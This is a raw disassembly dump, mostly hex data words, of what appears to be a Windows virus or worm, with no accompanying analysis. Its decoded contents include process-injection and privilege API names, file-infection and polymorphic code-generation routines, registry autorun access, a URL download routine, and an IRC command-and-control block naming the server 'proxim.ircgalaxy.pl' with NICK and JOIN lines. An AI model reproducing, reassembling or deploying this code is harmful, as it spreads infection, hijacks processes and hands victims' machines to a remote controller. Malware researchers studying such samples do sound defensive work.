0F303184Ah, 0C303AD51h dd 2788166h, 9755074h, 6F057881h, 74644163h, 59EAE205h dd 0C292BEBh, 24728B24h, 0FF30359h, 8B4E04B7h, 0FB031C7Ah dd 387348Bh, 37858DF3h, 8D001011h, 1011208Dh, 508B6600h dd 0EBD1FFE7h, 0C0858B47h, 25001039h, 400000h, 0B58D1F74h dd 1039C4h, 247C8BADh, 9D8BAB04h, 104308h, 10BD8BA4h, 8B001043h dd 10430CB5h, 0AC35D00h, 89B95325h, 8B000028h, 2A1030DAh dd 1C083D3h, 0D686DF86h, 0C35BF3E2h, 0CE8h, 6F6C4300h dd 61486573h, 656C646Eh, 0D6FF5300h, 3E628589h, 0DE80010h dd 43000000h, 74616572h, 65764565h, 41746Eh, 89D6FF53h dd 103E6685h, 0DE800h, 65470000h, 73614C74h, 72724574h dd 5300726Fh, 8589D6FFh, 103E6Ah, 3D3E8h, 0FC08500h, 0FFFF5C84h dd 95FF50FFh, 103E6Ah, 850FC085h, 391h, 153FBD80h, 75010010h dd 8B5FF14h, 0FE001043h, 10153F8Dh, 98858F00h, 0EB001015h dd 98A58307h, 1015h, 1588A583h, 83000010h, 10158CA5h, 0A5830000h dd 101590h, 85C65700h, 1012D4h, 6EB58901h, 8D00103Eh, 101604B5h dd 8DC93300h, 103E7ABDh, 0E820B100h, 39Dh, 0BA95FF5Fh dd 0C100103Eh, 840F1FE8h, 0D4h, 6A14478Bh, 68C30340h, 8001000h dd 3E728589h, 28680010h, 6A000073h, 0F295FF00h, 8500103Eh dd 0FE840FC0h, 97000002h, 1000B58Dh, 0EF8B0010h, 0CCAB9h dd 0ED8100h, 8D001010h, 10125495h, 0FFA5F300h, 20EC83E2h dd 86AFC8Bh, 8D59C033h, 101B4D95h, 8BABF300h, 105789FCh dd 571C47FEh, 1000368h, 7295FF00h, 8300103Eh, 0C08520C4h dd 2AF840Fh, 6A970000h, 68016A00h, 80000400h, 1000068h dd 7295FF00h, 8500103Eh, 92840FC0h, 6A000002h, 685000h dd 6A000400h, 0CE8C100h, 50016A57h, 1000168h, 7295FF00h dd 6800103Eh, 1000Ah, 3E7295FFh, 5E80010h, 0E9000000h dd 261h, 0E359006Ah, 0FF0A6A0Ah, 103EE695h, 0C3F1EB00h dd 3E92BD83h, 0F000010h, 24484h, 6E800h, 544E0000h, 4C4C44h dd 3EAE95FFh, 0B58D0010h, 1017DEh, 0BD8DC933h, 103EFAh dd 0E8930EB1h, 285h, 3F2EBD83h, 0F000010h, 21084h, 0FE858B00h dd 0FF00103Eh, 858F0170h, 103917h, 3F16858Bh, 70FF0010h dd 64858F01h, 8B001039h, 103F0285h, 170FF00h, 396B858Fh dd 0BD810010h, 10396Bh, 10000h, 1D3830Fh, 8D8B0000h, 103F06h dd 71FF1AE3h, 78858F01h, 8B001039h, 103F0E8Dh, 0FF09E300h dd 858F0171h, 103985h, 1B8E8h, 84BD8D00h, 8B00103Fh, 0F6006ACFh dd 470FFD9h, 6A03E183h, 57F90340h, 186A006Ah, 15EBB58Dh dd 19B90010h, 8D000000h, 0FFFE4D04h, 0AB66FFFFh, 4D048Dh dd 66000000h, 4478DABh, 8DE432ABh, 103E3095h, 8966AC00h dd 83AB6602h, 0F5E202C2h, 6AD48Bh, 732868h, 6ACC8B00h dd 6AC48B00h, 6800h, 406A0800h, 0E6A5251h, 0A95FF50h, 5800103Fh dd 6840C483h, 7328h, 6AD48Bh, 406ACC8Bh, 26A006Ah, 68006A52h dd 7328h, 6A51006Ah, 95FF50FFh, 103F12h, 0FF85595Fh, 107840Fh dd 0B58D0000h, 101000h, 0CCAB9h, 0F3EF8B00h, 0ED81A5h dd 8D001010h, 10144A85h, 50E0FF00h, 6A206A54h, 1A95FFFFh dd 8500103Fh, 34755FC0h, 14FE8h, 11E800h, 65530000h, 75626544h dd 69725067h, 656C6976h, 57006567h, 550E8h, 88B5FF00h dd 0FF001042h, 103E9E95h, 95FF5700h, 103E62h, 26A006Ah dd 3E9295FFh, 28B90010h, 97000001h, 0C89E12Bh, 0FF575424h dd 103ED695h, 83F63300h, 103F72A5h, 57540000h, 3EDA95FFh dd 0C0850010h, 83466674h, 0EE7204FEh, 82474FFh, 2A6A006Ah dd 3ED295FFh, 0C0850010h, 0E893DC74h, 588h, 0E391C933h dd 7285393Ah, 7500103Fh, 247C8132h, 72736324h, 81287473h dd 0EAFC1h, 50545000h, 50505156h, 8A95FF53h, 8500103Eh dd 0F7459C0h, 82474FFh, 3F72858Fh, 0B5E80010h, 53FFFFFDh dd 3E6295FFh, 8EEB0010h, 128C481h, 0FF570000h, 103E6295h dd 6295FF00h, 0E900103Eh, 0FFFFFBB1h, 6A5A00h, 6A006Ah dd 168006Ah, 8B000400h, 50006AC4h, 0C48B0C6Ah, 7856E2FFh dd 345Fh, 0DAE8C933h, 8DFFFFFFh, 10155995h, 51515200h dd 6695FF50h, 8300103Eh, 8BC320C4h, 585858FFh, 332800h dd 0E7300h, 100h, 2 dup(0) dd 29C000h, 0 dd 53565100h, 3E6E95FFh, 59AB0010h, 75C084ACh, 0C3EEE2FBh dd 1985958Dh, 0FF520010h, 103EC695h, 88858900h, 0E8001042h dd 16h, 6B6F6F4Ch, 72507075h, 6C697669h, 56656765h, 65756C61h dd 0FF500041h, 103E6E95h, 8C858900h, 0C3001042h, 7361425Ch dd 6D614E65h, 624F6465h, 7463656Ah, 74565C73h, 74636553h dd 74736C00h, 6E656C72h, 65724300h, 46657461h, 41656C69h dd 65724300h, 46657461h, 4D656C69h, 69707061h, 41676Eh dd 61657243h, 72506574h, 7365636Fh, 43004173h, 74616572h dd 6D655265h, 5465746Fh, 61657268h, 72430064h, 65746165h dd 65726854h, 43006461h, 74616572h, 6F6F5465h, 6C65686Ch dd 53323370h, 7370616Eh, 746F68h, 74697845h, 65726854h dd 46006461h, 54656C69h, 54656D69h, 7379536Fh, 546D6574h dd 656D69h, 65657246h, 7262694Ch, 797261h, 46746547h, 41656C69h dd 69727474h, 65747562h, 47004173h, 69467465h, 6953656Ch dd 4700657Ah, 69467465h, 6954656Ch, 4700656Dh, 6F4D7465h dd 656C7564h, 646E6148h, 41656Ch, 54746547h, 46706D65h dd 4E656C69h, 41656D61h, 74654700h, 706D6554h, 68746150h dd 65470041h, 72655674h, 6E6F6973h, 74654700h, 73726556h dd 456E6F69h, 47004178h, 6F567465h, 656D756Ch, 6F666E49h dd 74616D72h, 416E6F69h, 616F4C00h, 62694C64h, 79726172h dd 614D0041h, 65695670h, 46664F77h, 656C69h, 6E65704Fh dd 656C6946h, 7070614Dh, 41676E69h, 65704F00h, 6F72506Eh dd 73736563h, 6F725000h, 73736563h, 69463233h, 747372h dd 636F7250h, 33737365h, 78654E32h, 65530074h, 6C694674h dd 74744165h, 75626972h, 41736574h, 74655300h, 656C6946h dd 656D6954h, 656C5300h, 53007065h, 65747379h, 6D69546Dh dd 466F5465h, 54656C69h, 656D69h, 616D6E55h, 65695670h dd 46664F77h, 656C69h, 74726956h, 416C6175h, 636F6C6Ch dd 69725700h, 69466574h, 4E00656Ch, 6A644174h, 50747375h dd 69766972h, 6567656Ch, 6B6F5473h, 4E006E65h, 65724374h dd 46657461h, 656C69h, 7243744Eh, 65746165h, 636F7250h dd 737365h, 7243744Eh, 65746165h, 636F7250h, 45737365h dd 744E0078h, 61657243h, 65536574h, 6F697463h, 744E006Eh dd 61657243h, 73556574h, 72507265h, 7365636Fh, 744E0073h dd 5670614Dh, 4F776569h, 63655366h, 6E6F6974h, 4F744E00h dd 466E6570h, 656C69h, 704F744Eh, 72506E65h, 7365636Fh dd 6B6F5473h, 4E006E65h, 65704F74h, 6365536Eh, 6E6F6974h dd 50744E00h, 65746F72h, 69567463h, 61757472h, 6D654D6Ch dd 79726Fh, 7551744Eh, 49797265h, 726F666Eh, 6974616Dh dd 6F546E6Fh, 6E656Bh, 7257744Eh, 56657469h, 75747269h dd 654D6C61h, 79726F6Dh, 6C745200h, 63696E55h, 5365646Fh dd 6E697274h, 416F5467h, 5369736Eh, 6E697274h, 53570067h dd 61745341h, 70757472h, 6F6C6300h, 6F736573h, 74656B63h dd 6E6F6300h, 7463656Eh, 74656700h, 74736F68h, 616E7962h dd 7200656Dh, 766365h, 646E6573h, 636F7300h, 74656Bh, 65746E49h dd 74656E72h, 736F6C43h, 6E614865h, 656C64h, 65746E49h dd 74656E72h, 43746547h, 656E6E6Fh, 64657463h, 74617453h dd 6E490065h, 6E726574h, 704F7465h, 416E65h, 65746E49h dd 74656E72h, 6E65704Fh, 416C7255h, 746E4900h, 656E7265h dd 61655274h, 6C694664h, 44410065h, 49504156h, 442E3233h dd 52004C4Ch, 6C436765h, 4B65736Fh, 52007965h, 704F6765h dd 654B6E65h, 41784579h, 67655200h, 72657551h, 6C615679h dd 78456575h, 65520041h, 74655367h, 756C6156h, 41784565h dd 0F6335600h, 5656026Ah, 16AD48Bh, 1872FF52h, 8C95FF56h dd 8B001042h, 565656C4h, 70FF5650h, 0FA95FF18h, 8300103Eh dd 0C25E10C4h, 498D0008h, 51C82BFBh, 68h, 244C8DE8h, 6A006A03h dd 53505105h, 0CC8B056Ah, 50D48B50h, 51406A54h, 95FF5352h dd 103F22h, 0FF0CC483h, 103F2A95h, 8C48300h, 30958DC3h dd 3300103Eh, 52006AC9h, 32003068h, 51C48B00h, 50406A51h dd 83186A51h, 6A5408C0h, 95FF500Eh, 103F1Eh, 3320C483h dd 0FC085D2h, 0DAF7C299h, 0C3C22358h, 0E8FF3357h, 0FFFFFFC1h dd 0A5840Fh, 68500000h, 7328h, 6AD48Bh, 406ACC8Bh, 10000068h dd 52026A00h, 2868006Ah, 6A000073h, 50535100h, 3F1295FFh dd 595F0010h, 3E6295FFh, 0FF850010h, 8D8B7174h, 101590h dd 958D0CE3h, 101000h, 5357D103h, 858BD2FFh, 103EFEh, 29168F8Dh dd 2BE80000h, 8BFFFFFFh, 103F1685h, 638F8D00h, 0E8000029h dd 0FFFFFF1Ah, 3F02858Bh, 8F8D0010h, 296Ah, 0FFFF09E8h dd 6858BFFh, 8500103Fh, 8D2074C0h, 29778Fh, 0FEF4E800h dd 858BFFFFh, 103F0Eh, 0B74C085h, 29848F8Dh, 0DFE80000h dd 8BFFFFFEh, 55C35FC7h, 0E8h, 0ED815D00h, 101B24h, 858DC933h dd 101EAFh, 51515451h, 0FF515150h, 103E8E95h, 24048700h dd 3E6295FFh, 0C25D0010h, 0E8550004h, 0 dd 53ED815Dh, 6A00101Bh, 1E958DFFh, 5000101Bh, 2420CD52h dd 83002A00h, 0C7660CC4h, 101B6485h, 0C720CD00h, 101B6685h dd 2A002400h, 6AC35D00h, 9E8581Ah, 8D000000h, 0FEAA6142h dd 0C3F075C9h, 3F7C9569h, 84050010h, 89420808h, 103F7C95h dd 0C3E2F700h, 0E855h, 815D0000h, 101BADEDh, 809D8B00h dd 8300103Fh, 8247Ch, 0B9840Fh, 0EC810000h, 208h, 1046854h dd 95FF0000h, 103EB6h, 848DFC8Bh, 10424h, 6A5000h, 4E8h dd 52525600h, 95FF5700h, 103EB2h, 978DC933h, 104h, 26A5151h dd 68016A51h, 40000000h, 7E95FF52h, 9600103Eh, 5B74F685h dd 4685450h, 57000001h, 2024B4FFh, 0FF000002h, 103F5E95h dd 0C0855900h, 14E31674h, 6AD48B50h, 57515200h, 0F695FF56h dd 5900103Eh, 0D075C085h, 6295FF56h, 8D00103Eh, 57524457h dd 8D58446Ah, 10497h, 0C033AB00h, 0F359106Ah, 505050ABh dd 50505050h, 8695FF52h, 8100103Eh, 208C4h, 2474FF00h dd 4E95FF08h, 5300103Fh, 3F4E95FFh, 0C25D0010h, 3E800004h dd 4601750Ah, 158C8D8Bh, 19E30010h, 1000958Dh, 0D1030010h dd 84D2FF56h, 1F880FC0h, 0F000001h, 11084h, 3A3E8000h dd 80461075h, 840F003Eh, 101h, 75203E80h, 3E8146F1h, 474E4950h dd 0CF8B4275h, 4F0146C6h, 6A51CE2Bh, 53565100h, 3F4695FFh dd 3B590010h, 0DF850FC1h, 8D000000h, 101EA385h, 68006A00h dd 0Ch, 95FF5350h, 103F46h, 0C3Dh, 0BF850F00h, 0E9000000h dd 0B1h, 52503E81h, 850F5649h, 0A5h, 0AC08C683h, 840F0D3Ch dd 99h, 0F375203Ch, 0F3A3CACh, 8C85h, 200DAD00h, 3D202020h dd 74656721h, 3CAC7F75h, 817C7520h, 6820FF7Eh, 71757474h dd 70037E81h, 752F2F3Ah, 0FF47C668h, 0BA310F00h, 2710h dd 0FF52E2F7h, 103EE695h, 50C03300h, 0E8505050h, 9, 6E776F44h dd 64616F6Ch, 5695FF00h, 8500103Fh, 333674C0h, 808589C9h dd 5100103Fh, 20068h, 56515180h, 5A95FF50h, 8D00103Fh dd 101BA795h, 0C9335000h, 52505154h, 95FF5151h, 103E8Eh dd 0FF240487h, 103E6295h, 80C3F800h, 10157F8Dh, 0C3F90100h dd 16A016Ah, 73FF33FFh, 8515FF04h, 335A74C0h, 0B3D08BDBh dd 3C50030Bh, 1DCBB58Dh, 0BA8B0010h, 10Ch, 1088A8Bh, 0F8030000h dd 8B60CB2Bh, 61A6F3CBh, 0E2470574h, 832EEBF5h, 8B530FC7h dd 0D48B57CCh, 406A5450h, 0FF6A5251h, 3F2295FFh, 8D8B0010h dd 103E96h, 2B0CC483h, 7E983CFh, 6A07C7h, 4F8900E8h, 4F53C303h dd 41575446h, 4D5C4552h, 6F726369h, 74666F73h, 6E69575Ch dd 73776F64h, 7275435Ch, 746E6572h, 73726556h, 5C6E6F69h dd 6C707845h, 7265726Fh, 72615400h, 48746567h, 74736Fh dd 50000002h, 0 aProxim_ircga_0 db 'proxim.ircgalaxy.pl',0 aNickLwzlwvrq_0 db 'NICK lwzlwvrq',0Ah db 'USER uJOIN &virtu',0Ah db 'U',0 align 4 dd 815D0000h, 101EB5EDh, 7F85C600h, 1015h, 3EBA95FFh, 0E8C10010h dd 6A3C741Fh, 72B58B1Eh, 5900103Eh, 752E3CACh, 3E81662Ah dd 23751DFFh, 3F76BD8Dh, 768B0010h, 66A55702h, 0EC858DA5h dd 8F001038h, 10391285h, 4689FA00h, 0FE4E8CFAh, 0E201B1FBh dd 0E850EBCFh, 0FFFFFB21h, 8247C83h, 0E8447504h, 8, 2E434653h dd 4C4C44h, 3EC695FFh, 0C00B0010h, 6A930D74h, 95FF5302h dd 103E6Eh, 0E893D0FFh, 0FFFFFE97h, 0BE8h, 43465300h, 2E534F5Fh dd 4C4C44h, 3EC695FFh, 7CE80010h, 0E8FFFFFEh, 0FFFFF600h dd 12D48DFFh, 0C9330010h, 4324858Dh, 51510010h, 51505151h dd 95FF5151h, 103EC2h, 0BE8h, 45535500h, 2E323352h, 4C4C44h dd 3EC695FFh, 0AE80010h, 77000000h, 69727073h, 4166746Eh dd 95FF5000h, 103E6Eh, 3E768589h, 310F0010h, 19858D8Dh dd 85890010h, 103F7Ch, 0C695FF51h, 9300103Eh, 468h, 92B58D00h dd 59001019h, 3F62BD8Dh, 0C2E80010h, 66FFFFF5h, 1E7585C7h dd 50000010h, 1E77A583h, 8D000010h, 101E3595h, 6A545000h dd 52006A01h, 268h, 6695FF80h, 8500103Fh, 22755AC0h, 1E688D8Dh dd 6A520010h, 75B58D06h, 5400101Eh, 51505056h, 6A95FF52h dd 5800103Fh, 3F6295FFh, 85C60010h, 104183h, 0CE800h, 53570000h dd 334B434Fh, 4C442E32h, 95FF004Ch, 103EC6h, 76893h, 0B58D0000h dd 1018E9h, 32BD8D59h, 0E800103Fh, 0FFFFF53Dh, 0CE8h, 4E495700h dd 54454E49h, 4C4C442Eh, 0C695FF00h, 8500103Eh, 35840FC0h dd 93000002h, 568h, 27B58D00h, 59001019h, 3F4EBD8Dh, 6E80010h dd 83FFFFF5h, 103F52BDh, 840F0000h, 210h, 190EC81h, 68540000h dd 101h, 3F3295FFh, 0C4810010h, 190h, 6AD48B50h, 95FF5200h dd 103F52h, 7559C085h, 1388680Dh, 95FF0000h, 103EE6h, 0BD83E2EBh dd 101E77h, 8D297500h, 101E7B85h, 95FF5000h, 103F3Eh, 840FC085h dd 189h, 8B0C408Bh, 8F30FF00h, 101E7785h, 8385C600h, 1001041h dd 16A006Ah, 95FF026Ah, 103F4Ah, 0FFFF883h, 16084h, 958D9300h dd 101E73h, 5352106Ah, 3F3A95FFh, 0C0850010h, 140850Fh dd 0BD8D0000h, 101E94h, 3CE808B1h, 68FFFFFAh, 94h, 89E62B5Eh dd 0FF542434h, 103EBE95h, 0A2BD8D00h, 0B100101Eh, 0FA1DE801h dd 958DFFFFh, 101E8Fh, 1468006Ah, 52000000h, 4695FF53h dd 8D00103Fh, 8D142444h, 10432495h, 0B60F5000h, 24448B0Ah dd 8E0C114h, 12014A02h, 4A12024Ah, 24440B03h, 0FE18008h dd 5108E0C1h, 1024440Bh, 8D5032FFh, 103F84BDh, 1CE800h dd 2E250000h, 2E207836h, 3A202E20h, 2E252525h, 78257838h dd 0A732520h, 4E494F4Ah, 0FF570020h, 103E7695h, 0ACC48100h dd 6A000000h, 53575000h, 3F4695FFh, 8D8B0010h, 101598h dd 1BE3006Ah, 510DC96Bh, 5E8h, 64252600h, 0FF57000Ah, 103E7695h dd 0CC48300h, 680BEB50h, 7, 1EA8BD8Dh, 53570010h, 3F4695FFh dd 0C0850010h, 0B58D547Eh, 103F84h, 1598A583h, 8D000010h dd 1041838Dh, 6ACE2B00h, 53565100h, 3F4295FFh, 0F8830010h dd 912F7E00h, 0B58DFE8Bh, 103F84h, 0AEF20DB0h, 0E8601075h dd 0FFFFFA2Ah, 0E3177261h, 1778D09h, 0CF8BEAEBh, 0BD8DCE2Bh dd 103F84h, 0F787A4F3h, 0FF53B9EBh, 103F3695h, 7FBD8000h dd 1001015h, 30682A74h, 0FF000075h, 103EE695h, 83BD8000h dd 1041h, 85C71174h, 101E77h, 0 dd 418385C6h, 0E9000010h, 0FFFFFE08h, 158885C7h, 10h, 0C25D8000h dd 0A0D0004h, 6F6E204Fh, 6F206E6Fh, 696C2066h, 20216566h dd 6974204Fh, 7420656Dh, 6563206Fh, 7262656Ch, 21657461h dd 20200A0Dh, 4F202020h, 6D757320h, 2072656Dh, 64726167h dd 0D216E65h, 6C65520Ah, 6C746E65h, 6C737365h, 61682079h dd 20797070h, 20646E61h, 65707865h, 6E617463h, 73202C74h dd 646E6174h, 3A676E69h, 0A0D2D20h, 63746157h, 676E6968h dd 6C6C6120h, 79616420h, 646E6120h, 67696E20h, 202C7468h dd 20726F66h, 65697266h, 2073646Eh, 61772049h, 0D3A7469h dd 6568570Ah, 61206572h, 79206572h, 202C756Fh, 65697266h dd 3F73646Eh, 6D6F4320h, 49202165h, 73692074h, 6D697420h dd 49202165h, 20732774h, 6574616Ch, 0A2A1A821h, 3BFDD04Ch dd 52B2E84Ah, 0DAFA3C83h, 0A614297Bh, 33354010h, 0B1FAE501h dd 0AB595727h, 6CCC5C3Ah, 375248C2h, 88D66240h, 73C17E80h dd 69DD711Ah, 0DBh, 12h dup(0) dd 0A5836000h, 1042F4h, 0F8A58300h, 1042h, 1443B70Fh, 0F18538Dh dd 3064BB7h, 24448BD0h, 0C422B24h, 423B1972h, 8B147308h dd 422B1442h, 0F495890Ch, 89001042h, 1042F885h, 8305EB00h dd 0D9E228C2h, 4C261h, 24678588h, 64E80010h, 68000000h dd 1Fh, 2394858Dh, 39590010h, 830C7418h, 0F7E204C0h, 42D085FFh dd 0F7C30010h, 678D03D9h, 0E3001024h, 0FC70FF10h, 0E883008Fh dd 89F6E204h, 1023949Dh, 3A8300h, 322B0574h, 8D107203h dd 5B58FC4Eh, 3A835Eh, 32FF0474h, 72FF03EBh, 0FF57E810h dd 0CE2BFFFFh, 42F88D2Bh, 3580010h, 8FC3344Bh, 1042D485h dd 0D085C700h, 1042h, 0E8000000h, 3Ch, 42D0858Bh, 0A9E80010h dd 0E8FFFFF6h, 18h, 42D0BD83h, 75000010h, 109D8908h, 0EB001024h dd 0D08DFF9Ch, 0C3001042h, 42D4858Fh, 95890010h, 1042D0h dd 3E8h, 0C3C93300h, 80938Bh, 0E8520000h, 0FFFFFEEDh, 42F89503h dd 0D6030010h, 0C7A83h, 107840Fh, 7A830000h, 840F0010h dd 0FDh, 500C428Bh, 0FFFEC8E8h, 0F88503FFh, 3001042h, 88A50C6h dd 7400F980h, 2EF98019h, 0EB400374h, 1488BF1h, 0DFDFE181h dd 0F981DFDFh, 4C4C44h, 2B59EC75h, 0FAF983C8h, 0B78F0Fh dd 81660000h, 3233FE78h, 0AB850Fh, 83560000h, 575003Ah dd 0EB104A8Bh, 30A8B02h, 72E851F1h, 3FFFFFEh, 1042F8B5h dd 0C085AD00h, 840FFB78h, 84h, 42F8B5FFh, 0E8500010h, 0FFFFFE55h dd 42F88503h, 858F0010h, 1042F8h, 53240403h, 3302C083h dd 8B60FDBh, 0C98012E3h, 24C15320h, 1C290424h, 240C2924h dd 0E9EB405Bh, 0D70FFB81h, 3E74DDBBh, 45A8FB81h, 3674DB6Eh dd 3B59FB81h, 2E74FFA1h, 22D6FB81h, 2674ACB5h, 0E993FB81h dd 1E74F358h, 0E97DFB81h, 1674F358h, 3F46FB81h, 0E74E125h dd 3F30FB81h, 674E125h, 42D495FFh, 0E95B0010h, 0FFFFFF71h dd 14C2835Eh, 0FFFEEFE9h, 6A01C3FFh, 49E85804h, 88FFFFF5h dd 10264195h, 31B86600h, 0C0E20218h, 0E20203E4h, 66AAB66h dd 0F52EE858h, 0C283FFFFh, 6AD18708h, 21E85805h, 80FFFFF5h dd 0B7303FAh, 850250B0h, 102641h, 6A27EBAAh, 80AA5868h dd 187503FAh, 1E811B0h, 0B8FFFFF5h, 1, 0D74D284h, 0CAFEE0D1h dd 5EBF6EBh, 0B8h, 0BFE2AB80h, 0CC958DC3h, 2B001039h, 0C3DAF7D7h dd 39C085F7h, 10h, 950F1000h, 0BE0C1C0h, 39BE85F6h, 75010010h dd 890D6606h, 0F613EB25h, 1039BE85h, 6750200h, 25310D66h dd 0D6604EBh, 0AB662501h, 0FFFFBCE8h, 34438BFFh, 42E89589h dd 0C3AB0010h, 39C085F7h, 10h, 950F1000h, 0AABC04C0h, 0FFFF9CE8h dd 0EC9589FFh, 0F6001042h, 1039BE85h, 4750100h, 2EB310Fh dd 0C3ABC02Bh, 39C085F7h, 10h, 27741000h, 39BA858Ah, 0E0C10010h dd 8B0D660Bh, 0B0AB6645h, 858AAAF8h, 1039BAh, 51BE0C1h dd 6896467h, 66C033ABh, 0B812EBABh, 58F64h, 0BA858AABh dd 4001039h, 18E0C158h, 85C6C3ABh, 10279Ch, 0B025EB09h dd 6620EBFCh, 6600EBB8h, 6A19EBABh, 9E85804h, 8DFFFFF4h dd 0E0C1D204h, 89056608h, 0EBAB66C0h, 0AA90B003h, 0E858156Ah dd 0FFFFF3F0h, 279C8580h, 80060010h, 2F7308FAh, 0C374D284h dd 0C374CAFEh, 0C774CAFEh, 0D974CAFEh, 0C74CAFEh, 2 dup(0F74CAFEh) dd 0CBEBF9B0h, 0B0AA87B0h, 0B0C4EBDBh, 0B0C0EBF5h, 0C3BCEBF8h dd 39C085F7h, 20000010h, 86B00000h, 4040275h, 8AFE4F8Dh dd 1039B8A5h, 80AB6600h, 77505FCh, 4F8000B0h, 0E8AA40FFh dd 0FFFFFF62h, 39C085F7h, 40000010h, 0B8660000h, 2753166h dd 0AB6629B4h, 850A18B0h, 1039BAh, 0AA03E0C0h, 0FFFF3DE8h dd 0F788B0FFh, 1039C085h, 800000h, 0B0027500h, 0B8A58A86h dd 66001039h, 5FC80ABh, 0B00775h, 40FF4F80h, 0BD8DC3AAh dd 1039CCh, 0FFFF0DE8h, 0C085F7FFh, 1039h, 74004000h, 0AA60B003h dd 39C085F7h, 10h, 7741000h db 0B8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add [ebx-3F7A08B1h], ch cmp [eax], edx add [ebx], al ; --------------------------------------------------------------------------- dw 0 dd 0F0840F02h, 0B0000000h, 89ABAAE8h, 1042D8BDh, 0FECCE800h dd 0E8B0FFFFh, 0BD89ABAAh, 1042DCh, 0FFFEBDE8h, 0C085F7FFh dd 3001039h, 74000000h, 0C085F71Ah, 1039h, 74020000h, 0FE2EE80Ah dd 9BE8FFFFh, 0B0FFFFFEh, 8BABAAE9h, 1042D885h, 2BCF8B00h dd 0E0BD89C8h, 89001042h, 67B8FC48h, 0AB36FF64h, 0AB66C033h dd 39C085F7h, 30010h, 13740000h, 39BE85F6h, 74800010h dd 0FDAAE80Ah, 5BE8FFFFh, 0B8FFFFFEh, 26896467h, 66C033ABh dd 0C085F7ABh, 3001039h, 74000000h, 0BE85F65Ah, 80001039h dd 81E80A75h, 0E8FFFFFDh, 0FFFFFE32h, 0FFFD02E8h, 0E820B0FFh dd 0FFFFFB14h, 0B86639E3h, 0AB6615FFh, 958BAB91h, 1039C0h dd 0C2F7D2F7h, 3, 0DCE81475h, 0B0FFFFFCh, 0FAEEE81Fh, 0B866FFFFh dd 0AB6615FFh, 0CF8BAB91h, 42E0858Bh, 0C82B0010h, 0F7FC4889h dd 1039C085h, 300h, 0F7387400h, 1039C085h, 0 dd 0F72C740Ch, 1039C085h, 0 dd 0E80A7502h, 0FFFFFDC2h, 0FFFD4BE8h, 0C085F7FFh, 1039h dd 74080000h, 0FDACE80Ah, 61E8FFFFh, 0F7FFFFFDh, 1039C085h dd 400h, 0E8177400h, 0FFFFFD96h, 0FEC029B8h, 8B8ABC8h dd 0AB0474C0h, 0EBF875B8h, 7FE8AB67h, 0F7FFFFFDh, 1039C085h dd 800h, 80727500h, 1039BEBDh, 69740000h, 0FFFD65E8h, 1829B8FFh dd 0A50AC929h, 1039BAh, 0A03E4C0h, 1039BAA5h, 4BE8AB00h dd 0B0FFFFFDh, 858AAAB1h, 1039BEh, 0FD3CE8AAh, 0B60FFFFFh dd 1039BA85h, 0C0048D00h, 0E0C14004h, 668DB008h, 0AA01B0ABh dd 0FD20E857h, 3C29FFFFh, 0E2B86624h, 85F759FBh, 1039C0h dd 10h, 49B00774h, 75B866AAh, 66E102FAh, 0FCFCE8ABh, 0E8B0FFFFh dd 0ABC033AAh, 42C4BD89h, 85F70010h, 1039C0h, 20h, 0E8573B75h dd 0FFFFFCDEh, 39C085F7h, 10h, 18748000h, 42F0BD89h, 39E80010h dd 0E8FFFFFDh, 0FFFFFCC2h, 0E8AAC3B0h, 0FFFFFCBAh, 0B0CF8B5Ah dd 0ACA2B58h, 1039B885h, 0FC4A8900h, 0FCA4E8AAh, 0B866FFFFh dd 85F7C081h, 1039C0h, 40h, 0C4800374h, 0B8A50A28h, 66001039h dd 0C8BD89ABh, 0AB001042h, 39C085F7h, 10h, 9754000h, 850250B0h dd 1039B8h, 0C085F7AAh, 80001039h, 75000000h, 0AB8B00Bh dd 1039B985h, 3DEBAA00h, 1831B866h, 39C085F7h, 1000010h dd 2740000h, 0A50A29B0h, 1039B9h, 0A03E4C0h, 1039B9A5h dd 66AB6600h, 0F7F081B8h, 1039C085h, 20000h, 0B4027500h dd 0B9A50AC8h, 66001039h, 0E4BD89ABh, 0B8001042h, 29CCh dd 0C085F7ABh, 8001039h, 74000000h, 0FBFCE871h, 85F7FFFFh dd 1039C0h, 400h, 0B8B00B75h, 39BA850Ah, 0EBAA0010h, 0C085F74Dh dd 1039h, 75000008h, 83B86611h, 0BAA50AE0h, 66001039h dd 0AAC033ABh, 0B86615EBh, 0A50A1829h, 1039BAh, 0A03E4C0h dd 1039BAA5h, 0F7AB6600h, 1039C085h, 100000h, 81B86600h dd 800374C0h, 0A50A08C4h, 1039BAh, 0B60FAB66h, 1039BE85h dd 8BE8AB00h, 0F7FFFFFBh, 1039C085h, 0 dd 0B00E7440h, 0B8850250h, 0AA001039h, 0FFFB71E8h, 0FE4F8DFFh dd 42CC8D89h, 85F70010h, 1039C0h, 80000000h, 0E8B01774h dd 0F0858BAAh, 2B001042h, 4E883C7h, 0F0BD89ABh, 0EB001042h dd 0FBB2E805h, 3BE8FFFFh, 0F7FFFFFBh, 1039C085h, 1000000h dd 0B00B7500h, 0B8850A40h, 0AA001039h, 0B8660FEBh, 0A50AC083h dd 1039B8h, 1B0AB66h, 0C085F7AAh, 1039h, 75000200h, 0C085F72Fh dd 1039h, 75000400h, 0AC0B01Ah, 1039BA85h, 0BFA58A00h dd 0C1001039h, 0B86610E0h, 0B0AB8166h, 0B008EB00h, 0BA850A40h dd 0AA001039h, 39C085F7h, 10h, 10750008h, 0E883B866h, 39B9A50Ah dd 0AB660010h, 8EB01B0h, 850A48B0h, 1039B9h, 0FAB0E8AAh dd 85F7FFFFh, 1039C0h, 100000h, 257575B1h, 0F883B866h dd 39B9A50Ah, 0AB660010h, 29AAC033h, 1042CCBDh, 0C085F700h dd 1039h, 75002000h, 0EB77B11Fh, 9B8661Bh, 0B9A50A18h dd 0C0001039h, 0A50A03E4h, 1039B9h, 0BD29AB66h, 1042CCh dd 0A58AC18Ah, 1042CCh, 58B0AB66h, 39B88502h, 0E8AA0010h dd 0FFFFFA4Ah, 39C085F7h, 30010h, 2C740200h, 39C085F7h dd 10h, 20750800h, 39C085F7h, 10h, 0A750600h, 0FFF9AFE8h dd 0FA1CE8FFh, 0D1E8FFFFh, 0E8FFFFF9h, 0FFFFFA12h, 39C085F7h dd 10h, 8741000h, 0E8AAC9B0h, 0FFFFF9FEh, 39C085F7h, 10h dd 2A740040h, 852A07B0h, 1039B8h, 0D1AE0C1h, 240889h, 39B8A502h dd 0E4C00010h, 4C48003h, 0F9D0E8ABh, 61B0FFFFh, 0F9C8E8AAh dd 0B866FFFFh, 0A50AE0FFh, 1039B8h, 0B7E8AB66h, 0F7FFFFF9h dd 1039C085h, 2000h, 0F76F7400h, 1039C085h, 